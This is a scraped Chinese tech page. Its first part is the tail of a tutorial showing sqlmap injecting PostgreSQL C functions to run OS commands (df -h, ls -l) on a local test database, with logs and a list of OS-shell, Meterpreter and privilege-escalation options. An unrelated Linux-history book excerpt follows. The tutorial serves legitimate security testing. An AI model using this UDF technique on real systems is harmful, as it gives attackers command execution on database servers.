[WARNING] (remote) (ProgrammingError) permission denied for language c [16:22:45] [INFO] creating UDF 'sys_eval' from the binary UDF file [16:22:45] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist [16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c [16:22:45] [INFO] creating UDF 'sys_exec' from the binary UDF file [16:22:45] [WARNING] (remote) (ProgrammingError) function sys_exec(text) does not exist [16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c do you want to call your injected user-defined functions now? [Y/n/q] Y // 调用UDF which UDF do you want to call? [1] sys_fileread [2] sys_bineval [3] sys_eval [4] sys_exec [q] Quit > 3 what is the value of the parameter number 1 (data-type: text)? df -h do you want to retrieve the return value of the UDF? [Y/n] Y [16:23:11] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist LINE 1: SELECT sys_eval((CHR(100)||CHR(102)||CHR(32)||CHR(45)||CHR(1... ^ HINT: No function matches the given name and argument types. You might need to add explicit type casts. No return value do you want to call this or another injected UDF? [Y/n] n // 退出,删除UDF [16:23:14] [INFO] cleaning up the database management system [16:23:14] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist [16:23:14] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist do you want to remove UDF 'sys_fileread'? [Y/n] Y [16:23:18] [WARNING] (remote) (ProgrammingError) function sys_fileread(text) does not exist do you want to remove UDF 'sys_bineval'? [Y/n] Y [16:23:20] [WARNING] (remote) (ProgrammingError) function sys_bineval(text) does not exist do you want to remove UDF 'sys_eval'? [Y/n] Y [16:23:21] [WARNING] (remote) (ProgrammingError) function sys_eval(text) does not exist do you want to remove UDF 'sys_exec'? [Y/n] Y [16:23:22] [WARNING] (remote) (ProgrammingError) function sys_exec(text) does not exist [16:23:22] [INFO] database management system cleanup finished [16:23:22] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually [16:23:22] [INFO] connection to postgresql server 127.0.0.1:1921 closed [*] shutting down at 16:23:22 数据库日志输出 2017-02-13 16:20:48.618 CST,,,20257,"127.0.0.1:58538",58a16c60.4f21,1,"",2017-02-13 16:20:48 CST,,0,LOG,00000,"connection received: host=127.0.0.1 port=58538",,,,,,,,"BackendInitialize, postmaster.c:4116","" 2017-02-13 16:20:48.619 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,2,"authentication",2017-02-13 16:20:48 CST,2/268,0,LOG,00000,"connection authorized: user=test database=postgres",,,,,,,,"PerformAuthentication, postinit.c:272","" 2017-02-13 16:20:48.648 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,3,"DROP TABLE",2017-02-13 16:20:48 CST,2/270,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759","" 2017-02-13 16:20:49.077 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,4,"DROP TABLE",2017-02-13 16:20:48 CST,2/274,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759","" 2017-02-13 16:22:40.927 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,5,"DROP TABLE",2017-02-13 16:20:48 CST,2/275,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759","" 直接操作pg_largeobject失败,没有权限 2017-02-13 16:22:40.933 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,6,"SELECT",2017-02-13 16:20:48 CST,2/277,0,ERROR,42704,"large object 7989 does not exist",,,,,,"SELECT lo_unlink(7989)",,"pg_largeobject_ownercheck, aclchk.c:4697","" 2017-02-13 16:22:40.936 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,7,"DELETE",2017-02-13 16:20:48 CST,2/278,2266,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"DELETE FROM pg_largeobject WHERE loid=7989",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:40.957 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,8,"INSERT",2017-02-13 16:20:48 CST,2/290,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 0, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:40.979 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,9,"INSERT",2017-02-13 16:20:48 CST,2/303,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 1, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:41.000 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,10,"INSERT",2017-02-13 16:20:48 CST,2/316,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 2, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:41.019 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,11,"INSERT",2017-02-13 16:20:48 CST,2/328,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"INSERT INTO pg_largeobject VALUES (7989, 3, DECODE((SELECT data FROM sqlmapfile), 'base64'))",,"aclcheck_error, aclchk.c:3403","" 调用lo_export(7989, '/tmp/lib_postgresqludf_sys.so')导出失败 2017-02-13 16:22:41.022 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,12,"SELECT",2017-02-13 16:20:48 CST,2/330,0,ERROR,42501,"must be superuser to use server-side lo_export()",,"Anyone can use the client-side lo_export() provided by libpq.",,,,"SELECT lo_export(7989, '/tmp/lib_postgresqludf_sys.so')",,"lo_export, be-fsstubs.c:522","" 2017-02-13 16:22:41.024 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,13,"SELECT",2017-02-13 16:20:48 CST,2/331,0,ERROR,42501,"permission denied for relation pg_largeobject",,,,,,"SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=7989",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:41.025 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,14,"SELECT",2017-02-13 16:20:48 CST,2/332,0,ERROR,42704,"large object 7989 does not exist",,,,,,"SELECT lo_unlink(7989)",,"pg_largeobject_ownercheck, aclchk.c:4697","" 2017-02-13 16:22:41.191 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,15,"DROP TABLE",2017-02-13 16:20:48 CST,2/334,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759","" 2017-02-13 16:22:45.717 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,16,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/335,0,ERROR,42883,"function sys_fileread(text) does not exist",,,,,,"DROP FUNCTION sys_fileread(text)",,"LookupFuncName, parse_func.c:1925","" 创建UDF失败 2017-02-13 16:22:45.718 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,17,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/336,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:45.720 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,18,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/337,0,ERROR,42883,"function sys_bineval(text) does not exist",,,,,,"DROP FUNCTION sys_bineval(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:22:45.722 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,19,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/338,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:45.723 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,20,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/339,0,ERROR,42883,"function sys_eval(text) does not exist",,,,,,"DROP FUNCTION sys_eval(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:22:45.725 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,21,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/340,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403","" 2017-02-13 16:22:45.726 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,22,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/341,0,ERROR,42883,"function sys_exec(text) does not exist",,,,,,"DROP FUNCTION sys_exec(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:22:45.728 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,23,"CREATE FUNCTION",2017-02-13 16:20:48 CST,2/342,0,ERROR,42501,"permission denied for language c",,,,,,"CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE",,"aclcheck_error, aclchk.c:3403","" 使用sys_eval调用df -h失败,因为没有这个函数 2017-02-13 16:23:11.523 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,24,"SELECT",2017-02-13 16:20:48 CST,2/345,0,ERROR,42883,"function sys_eval(text) does not exist",,"No function matches the given name and argument types. You might need to add explicit type casts.",,,,"SELECT sys_eval((CHR(100)||CHR(102)||CHR(32)||CHR(45)||CHR(104)))",8,"ParseFuncOrColumn, parse_func.c:523","" 2017-02-13 16:23:14.737 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,25,"DROP TABLE",2017-02-13 16:20:48 CST,2/346,0,ERROR,42P01,"table ""sqlmapfile"" does not exist",,,,,,"DROP TABLE sqlmapfile",,"DropErrorMsgNonExistent, tablecmds.c:759","" 2017-02-13 16:23:14.738 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,26,"DROP TABLE",2017-02-13 16:20:48 CST,2/347,0,ERROR,42P01,"table ""sqlmapfilehex"" does not exist",,,,,,"DROP TABLE sqlmapfilehex",,"DropErrorMsgNonExistent, tablecmds.c:759","" 2017-02-13 16:23:18.347 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,27,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/349,0,ERROR,42883,"function sys_fileread(text) does not exist",,,,,,"DROP FUNCTION sys_fileread(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:23:20.767 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,28,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/350,0,ERROR,42883,"function sys_bineval(text) does not exist",,,,,,"DROP FUNCTION sys_bineval(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:23:21.618 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,29,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/351,0,ERROR,42883,"function sys_eval(text) does not exist",,,,,,"DROP FUNCTION sys_eval(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:23:22.523 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,30,"DROP FUNCTION",2017-02-13 16:20:48 CST,2/352,0,ERROR,42883,"function sys_exec(text) does not exist",,,,,,"DROP FUNCTION sys_exec(text)",,"LookupFuncName, parse_func.c:1925","" 2017-02-13 16:23:22.540 CST,"test","postgres",20257,"127.0.0.1:58538",58a16c60.4f21,31,"idle",2017-02-13 16:20:48 CST,,0,LOG,00000,"disconnection: session time: 0:02:33.922 user=test database=postgres host=127.0.0.1 port=58538",,,,,,,,"log_disconnections, postgres.c:4507","" 如果使用超级用户,以上是可以成功的 $python ./sqlmap.py -d "postgresql://postgres:1@127.0.0.1:1921/postgres" --udf-inject --shared-lib=../udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.so --hex do you want to call your injected user-defined functions now? [Y/n/q] Y which UDF do you want to call? [1] sys_fileread [2] sys_bineval [3] sys_eval [4] sys_exec [q] Quit > 3 what is the value of the parameter number 1 (data-type: text)? df -h do you want to retrieve the return value of the UDF? [Y/n] Y return value: --- Filesystem Size Used Avail Use% Mounted on ...... tmpfs 384G 0 384G 0% /data01 tmpfs 96G 25M 96G 1% /dev/shm --- do you want to call this or another injected UDF? [Y/n] Y which UDF do you want to call? [1] sys_fileread [2] sys_bineval [3] sys_eval [4] sys_exec [q] Quit > 3 what is the value of the parameter number 1 (data-type: text)? ls -l do you want to retrieve the return value of the UDF? [Y/n] Y return value: --- total 128 -rw------- 1 digoal users 4 Jan 16 11:33 PG_VERSION drwx------ 9 digoal users 4096 Jan 19 17:09 base drwx------ 2 digoal users 4096 Feb 13 16:33 global drwx------ 2 digoal users 4096 Jan 16 11:33 pg_clog drwx------ 2 digoal users 4096 Jan 16 11:33 pg_commit_ts drwx------ 2 digoal users 4096 Jan 16 11:33 pg_dynshmem -rw------- 1 digoal users 4468 Jan 16 11:33 pg_hba.conf -rw------- 1 digoal users 1636 Jan 16 11:33 pg_ident.conf drwx------ 2 digoal users 4096 Feb 13 16:03 pg_log drwx------ 4 digoal users 4096 Jan 16 11:33 pg_logical drwx------ 4 digoal users 4096 Jan 16 11:33 pg_multixact drwx------ 2 digoal users 4096 Feb 13 16:03 pg_notify drwx------ 2 digoal users 4096 Jan 16 11:33 pg_replslot drwx------ 2 digoal users 4096 Jan 16 11:33 pg_serial drwx------ 2 digoal users 4096 Jan 16 11:33 pg_snapshots drwx------ 2 digoal users 4096 Feb 13 16:03 pg_stat drwx------ 2 digoal users 4096 Feb 13 16:34 pg_stat_tmp drwx------ 2 digoal users 4096 Jan 16 11:33 pg_subtrans drwx------ 2 digoal users 4096 Jan 16 11:33 pg_tblspc drwx------ 2 digoal users 4096 Jan 16 11:33 pg_twophase drwx------ 3 digoal users 4096 Feb 13 16:33 pg_xlog -rw------- 1 digoal users 88 Jan 16 11:33 postgresql.auto.conf -rw------- 1 digoal users 24676 Jan 16 12:38 postgresql.conf -rw------- 1 digoal users 37 Feb 13 16:03 postmaster.opts -rw------- 1 digoal users 86 Feb 13 16:03 postmaster.pid --- 数据库日志略 读写文件,同样使用以上UDF File system access: These options can be used to access the back-end database management system underlying file system --file-read=RFILE Read a file from the back-end DBMS file system --file-write=WFILE Write a local file on the back-end DBMS file system --file-dest=DFILE Back-end DBMS absolute filepath to write to 执行操作系统命令,同样使用以上UDF Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory 参考 https://github.com/sqlmapproject/sqlmap/wiki/Usage sqlmap_src/sqlmap.conf http://sqlmap.org/ http://baike.baidu.com/view/9472.htm https://hit-alibaba.github.io/interview/basic/network/HTTP.html
文章
安全 · 关系型数据库 · 测试技术 · 数据库 · 数据库管理
2017-02-15
带你读《跟老男孩学Linux运维:核心基础篇(上)(第2版)》之二:Linux系统介绍与环境搭建准备
点击查看第零章点击查看第二章 第1章 Linux系统介绍与环境搭建准备 本章以操作系统的介绍作开篇,首先介绍操作系统的基础概念以及操作系统的原理;然后带领读者了解Unix/Linux的诞生和发展史,以及市面上常见的Unix/Linux系统版本,并且针对发展过程中相关的关键人物进行介绍;接着,本章为大家讲解了需要重点掌握的GNU、GPL等名词知识,以及本书的主人公即Linux的优秀特性、常见的Linux发行版本以及不同应用场景的选择建议;最后,本章将带读者了解互联网常用的两个重点Linux版本CentOS和Red Hat Linux,并完成CentOS Linux的基本环境搭建准备。 1.1 Linux简介 1.1.1 什么是操作系统? 如果被问到什么是操作系统,可能很多初学者都会一脸茫然。虽然我们都知道平时一直在用的Windows 7/8/10,其实就是操作系统,却无法准确给出操作系统的定义,或者向提问者解释清楚什么是操作系统。操作系统,英文名称Operating System,简称OS,是计算机系统中必不可少的基础系统软件,它是应用程序运行以及用户操作必备的基础环境支撑,是计算机系统的核心。操作系统的作用是管理和控制计算机系统中的硬件和软件资源,例如,它负责直接管理计算机系统的各种硬件资源,如对CPU、内存、磁盘等的管理,同时对系统资源供需的优先顺序进行管理。操作系统还可以控制设备的输入、输出以及操作网络与管理文件系统等事务。同时,它也负责对计算机系统中各类软件资源进行管理,例如,各类应用软件的安装、运行环境的设置等。图1-1给出了操作系统与计算机硬件、软件之间的关系示意图。综上所述,我们可以对操作系统给出一个基本的定义。操作系统是计算机系统中必不可少的基础系统软件,它的作用是负责管理和控制计算机系统中的硬件和软件资源,合理地组织计算机系统的工作流程,以便有效地利用这些资源为使用者提供一个功能强大、使用方便的操作及使用环境。它在计算机系统(硬件)与使用者之间起到了接口的作用。上面的定义听起来是不是有些复杂?下面就来帮助大家更简单快速地理解什么是操作系统。操作系统就是处于用户与计算机系统硬件之间用于传递信息的系统程序软件。例如,操作系统会在接收到用户输入的信息之后,将其传递给计算机系统硬件核心进行处理,然后再把计算机系统硬件的处理结果返回给使用者。图1-2所示的是简单理解操作系统作用的示意图。 目前PC(Intel x86系列)计算机上比较常见的操作系统有Windows、Linux、DOS、Unix等。 1.1.2 什么是Linux? 与大家熟知的Windows操作系统软件一样,Linux也是一个操作系统软件。但是与Windows不同的是,Linux是一套开放源代码程序的、并且可以自由传播的类Unix操作系统软件(Unix系统是Linux系统的前身,具备很多优秀特性)。其在设计之初,就是基于Intel x86系列CPU架构计算机的。它是一个基于POSIX的多用户、多任务并且支持多线程和多CPU的操作系统。Linux是由世界各地成千上万的程序员设计和开发实现的。当初开发Linux系统的目的就是建立不受任何商业化软件版权制约的、全世界都能自由使用的类Unix操作系统兼容产品。在过去的20年里,Linux系统主要被应用于服务器端、嵌入式开发和PC桌面3大领域,其中服务器端领域是重中之重。我们熟知的大型、超大型互联网企业(百度、腾讯、Sina、阿里等)都在使用Linux系统作为其服务器端的程序运行平台,全球及国内排名前1000的90%以上的网站使用的主流系统都是Linux系统。从上面的内容可以看出,Linux操作系统之所以如此流行,是因为它具备如下这些优秀的特点。 Linux是开放源代码的程序软件,可自由修改。 与Unix系统兼容,具备Unix几乎所有的优秀特性。 可自由传播,无任何商业化版权制约。 适合Intel等x86 CPU系列架构的计算机。 1.2 Linux的起源 1.2.1 Unix的历史 说到Linux的起源,就不得不提到Linux之前的Unix系统。Unix系统于1969年在AT&T的贝尔实验室诞生,20世纪70年代,它逐步盛行,这期间,又产生了一个比较重要的分支,即大约诞生于1977年的BSD(Berkeley Software Distribution)系统。从BSD系统开始,各大厂商及商业公司开始了根据公司自身的硬件架构,并以BSD系统为基础进行Unix系统的研发,从而产生了各种版本的Unix系统,例如,SUN公司的Solaris,IBM公司的AIX,HP公司的HP UNIX等。图1-3给出了Unix系统诞生、发展的时间及版本分支的介绍,供读者参考。从图1-3中可以看到,本书的“主人公”Linux系统,诞生于1991年左右,因此,可以说Linux是从Unix发展而来的。 1.2.2 Unix的5大优秀特性 细心的读者应该会看到前文曾提到“类Unix操作系统兼容产品”或“类Unix操作系统软件”?为什么都要开发类Unix系统呢?那是因为Unix是一个非常棒的操作系统,它很像是一个非常聪明伶俐但不太听话的孩子,而开发者们在开发系统时,一方面想要继承它的“聪明伶俐”,另一方面又想改善它不听话的一面,故而会有如此考虑。 那么Unix都有哪些“聪明伶俐”的特点呢?下面一起来看看吧。 技术成熟,可靠性高使用Unix系统时,即使连续运行若干年也无须重启,它依然可以工作得非常好。可以毫不夸张地说,只要计算机硬件不坏,Unix就会很难出现问题。 极强的可伸缩性Unix支持的CPU处理器体系架构非常多,包括Intel/AMD及HP-PA、MIPS、PowerPC、UltraSPARC、ALPHA等RISC芯片,以及SMP、MPP等技术。 强大的网络功能Internet互联最重要的协议TCP/IP就是在Unix上开发和发展起来的。此外,Unix还支持非常多的常用的网络通信协议,如NFS、DCE、IPX/SPX、SLIP、PPP等。 强大的数据库支持能力Oracle、DB2、Sybase、Informix等大型数据库,都将Unix作为其主要的数据库开发和运行平台,一直到目前为止,依然如此。 强大的开发功能正是Unix促使了C语言的诞生,并相互促进与发展,成为当时工程师的首选操作系统和开发环境。互联网早期具有重大意义的软件新技术的出现几乎都在Unix上,例如:TCP/IP、WWW、Java、XML等。 1.2.3 Unix操作系统的革命 20世纪70年代中后期,由于各厂商及商业公司开发的Unix及内置软件都是针对自己公司的特定硬件而进行的,因此在其他公司的硬件上基本上无法直接运行,而且当时没有人对开发基于x86架构CPU的系统感兴趣。另外,20世纪70年代末,Unix又面临了突如其来的被AT&T回收版权的重大问题,特别是要求禁止对学生群体提供Unix系统源代码,这样的问题一度引起了当时Unix业界的恐慌,也因此产生了种种商业纠纷。由于Unix面临版权回收问题,以及代码不开源等问题,这直接或间接地导致了新的类Unix系统的诞生以及自由软件运动的建立和发展。1984年,Richard Stallman发起了开发自由软件的运动,并成立了自由软件基金会(Free Software Foundation,FSF)和GNU项目。当时发起这个自由软件运动和创建GNU项目的目的其实很简单,就是想开发一个类似于Unix系统、并且是自由软件的完整操作系统,也就是要解决20世纪70年代末Unix版权问题以及软件源代码面临闭源的问题,这个系统称为GNU操作系统。也是在20世纪80年代初期,同样是由于之前的Unix系统版权和源代码限制等问题,使得当时大学里教学Unix系统的束缚很大。因此,当时的一个大学的教授,名为Andrew Tanenbaum(谭邦宁),于1984年(大概)开始着手编写新的用于教学的Unix系统,目标是开发新的类Unix系统应尽可能地与原有的Unix系统兼容,并且可以运行于x86 PC平台,这个系统的名字为Minix。不过,由于谭邦宁开发这个Minix系统的目的只是用于教学,因此,Minix系统的功能无法满足商用的需求,但是Minix的产生对于Linux的诞生又是至关重要的一个关键成因,且看下文。 1.2.4 Linux的诞生 Linux系统的诞生开始于芬兰赫尔辛基大学的一位计算机系的学生,其名字为Linus Torvalds。在大学期间,他接触到了学校的Unix系统,但是,当时的Unix系统仅为一台主机,且对应了多个终端,使用时存在操作等待时间很长等一些体验极差的问题,无法满足年轻的Linus Torvalds的使用需求。因此他就萌生了自己开发一个Unix的想法,不久之后,他就找到了前文提到的谭邦宁教授开发的用于教学的Minix操作系统,与我们现在一样,他将Minix安装到了他的I386个人计算机上。此后,Torvalds又开始陆续阅读了Minix系统的源代码,从Minix系统中学到了很多重要的系统核心程序设计理念和设计思想,从而逐步开始了Linux系统雏形的设计和开发。Linux的标志和吉祥物为一只名字叫作Tux的企鹅—Torvalds扷nix,如图1-4所示。 1.2.5 Linux的发展历程 1. Linux的发展历程简介1)1984年,Andrew S. Tanenbaum开发了用于教学的Unix系统,命名为Minix。2)1989年,Andrew S. Tanenbaum将Minix系统运行于x86的个人计算机平台上。3)1990年,芬兰赫尔辛基大学学生Linus Torvalds首次接触Minix系统。4)1991年,Linus Torvalds开始在Minix上编写各种驱动程序等操作系统内核组件。5)1991年底,Linus Torvalds 公开了Linux内核源码0.02版(http://www.kernel.org),注意,这里公开的Linux内核源码并不是我们现在使用的Linux系统的全部,而仅仅是Linux内核kernel部分的代码。6)1993年,Linux 1.0版发行,Linux转向GPL版权协议。7)1994年,Linux的第一个商业发行版Slackware问世。8)1995年,Red Hat 软件公司成立,同年发布了Red Hat Linux 2.0。8)1996年,美国国家标准技术局的计算机系统实验室确认Linux 版本1.2.13(由Open Linux公司打包)符合POSIX标准。9)1997年,Red Hat Linux 5.0发布,它支持Intel、Alpha和Sparc平台以及大多数的应用软件。极其简单易用的RPM模块化的安装、配置和卸载工具,使程序的安装可在15分钟内完成。软件升级也更加方便了。10)1999年,Linux的简体中文发行版问世。11)2003年4月,Red Hat Linux 9.0发布。其重点放在改善桌面应用方面,包括改进安装过程、更好的字体浏览、更好的打印服务等。2003年,Red Hat的 Linux市场份额为80%以上。12)2004年4月,Red Hat公司正式停止对Red Hat 9.0版本的支持,标志着Red Hat Linux的正式完结。原本的桌面版Red Hat Linux发行包则与来自民间的Fedora计划合并,成为Fedora Core发行版本。Red Hat公司不再开发桌面版的Linux发行包,而将全部力量集中在服务器版的开发上,也就是Red Hat Enterprise Linux版。13)2005年10月,RHEL4发布。14)2007年3月,主流版本RHEL5发布,CentOS系统开始在中国互联网公司流行。15)2010年4月,RHEL6(RedHat Enterprise Linux 6.0)BETA测试版发布。16)2014年6月RedHat Enterprise Linux 7.0发布,RHEL7.0版本相较于RHEL6.0以前的版本有了较大的变化,例如,内核版本升级到3.10以上,系统启动和基本管理变化较大,文件系统也由传统的ext改为xfs,同时在大数据、云计算、Docker方面做了很大优化。2. Linux发展历程中的相关人物我们在使用优秀的Linux系统时,一定要向前辈们致以深深的敬意,没有他们,就没有今天优秀的Linux系统存在(如图1-5所示)。 1.3 Linux核心概念知识 1.3.1 自由软件与FSF 1.自由软件简单地理解,自由软件的核心就是没有商业化软件版权制约,源代码开放,可以无约束地自由传播。 自由意味着freedom,而免费意味着free,这是完全不同的两个概念。例如,Red Hat Linux自由但不免费,CentOS Linux则是自由且免费的。自由软件关乎使用者运行、复制、发布、研究、修改和改进该软件的自由。更精确地说,自由软件赋予软件使用者四种自由,具体如下。 不论目的为何,有运行该软件的自由。 有研究该软件如何运行,以及按需改写该软件的自由。当然,取得该软件源代码为达成此目的之前提。 有重新发布拷贝的自由。 有改进该软件,以及向公众发布改进版本的自由,这样整个社群都可受惠。同样,取得该软件的源码为达成此目的之前提。 2.自由软件基金会FSFFSF(Free Software Foundation)的中文意思是自由软件基金会,是Richard Stallman于1984年发起和创办的。FSF的主要项目是GNU项目。它的目标是建立可自由发布和可移植的类Unix操作系统产品。GNU项目本身产生的主要软件包括:Emacs编辑软件、gcc编译软件、bash命令解释程序和编程语言,以及gawk(GNU抯 awk)等。 1.3.2 GNU知识 GNU的全称为GNU抯 not Unix,意思是“GNU不是Unix”,GNU计划,又称革奴计划,是由Richard Stallman在1984年公开发起的,是FSF的主要项目。前面已经提到过,这个项目的目标是建立一套完全自由的和可移植的类Unix操作系统。GNU类Unix操作系统是由一系列应用程序、系统库和开发工具构成的软件集合(例如,Emacs编辑软件、gcc编译软件、bash命令解释程序和编程语言,以及gawk等),并加上了用于资源分配和硬件管理的内核。但是GNU自己的内核Hurd仍在开发中,离实用还有一定的距离。因此,这个GNU系统并没有流行起来。现在的GNU系统通常是使用Linux系统的内核、再加上GNU项目贡献的一些组件,以及其他相关程序组成的,这样的组合被称为GNU/Linux操作系统。到1991年Linux内核发布的时候,GNU项目已经完成了除系统内核之外的各种必备软件的开发。在Linus Torvalds和其他开发人员的努力下, GNU项目的部分组件又运行到了Linux内核之上,例如,GNU项目里的Emacs、gcc、bash、gawk等,至今都是Linux系统中很重要的基础软件。GNU项目的相关图片纪念如图1-6所示。 1.3.3 GPL知识 1. GPLGPL全称为General Public License,中文名为通用公共许可,是一个最著名的开源许可协议,开源社区最著名的Linux内核就是在GPL许可下发布的。GPL许可是由自由软件基金会(Free Software Foundation)创建的。1984年,Richard Stallman发起开发自由软件的运动后不久,在其他人的协作下,他创立了通用公共许可证(GPL),这对推动自由软件的发展起到了至关重要的作用,那么,这个GPL到底是什么意思呢?简单的理解,GPL的核心,是保证任何人有共享和修改自由软件的自由,任何人有权取得、修改和重新发布自由软件源代码的权利,但都必须同时给出具体更改的源代码。虽然整个Linux内核都是基于GNU通用公共许可的,但是Linux内核并不是GNU计划的一部分,这一点请读者不要混淆。2. LGPLLGPL(Lesser General Public License)相对于GPL则较为宽松,其允许不公开全部源代码,这为基于Linux平台开发商业软件提供了更广阔的空间。对于该知识点,本书仅提及一下,有兴趣的读者可到网上查询相关信息。 1.3.4 Linux系统组成 Linux操作系统的核心为Linus Torvalds开发的Kernel,Linux内核之上的组件可分为如下几部分:一部分是GNU组件,如Emacs、gcc、bash、gawk等;另一些重要组成部分则来自加利福尼亚大学Berkeley分校的BSD Unix项目和麻省理工学院的X Windows系统项目,以及在这之后成千上万的程序员开发的应用程序等(见表1-1)。正是基于Linux内核与GNU项目、BSD Unix以及MIT的X11(X Windows)的结合,才使得整个Linux操作系统得以很快形成,并得到了发展,进而组成了今天优秀的Linux系统。 Linux操作系统=Linux内核+GNU软件及系统软件+必要的应用程序 1.4 Linux的特点 1.4.1 Linux为什么受欢迎? Linux以高效和灵活著称。Linux运行于个人计算机上,可以实现几乎全部的Unix特性,同时还具有多任务、多用户的能力,支持多线程、多CPU。Linux是在GNU公共许可(GPL)权限下免费获得的,是一个符合POSIX标准的操作系统。Linux操作系统软件包不仅包括完整的Linux操作系统,而且还包括了文本编辑器、高级语言编译器,以及X-Windows图形用户界面等应用软件,使用Linux也可以像使用Windows 7、Windows 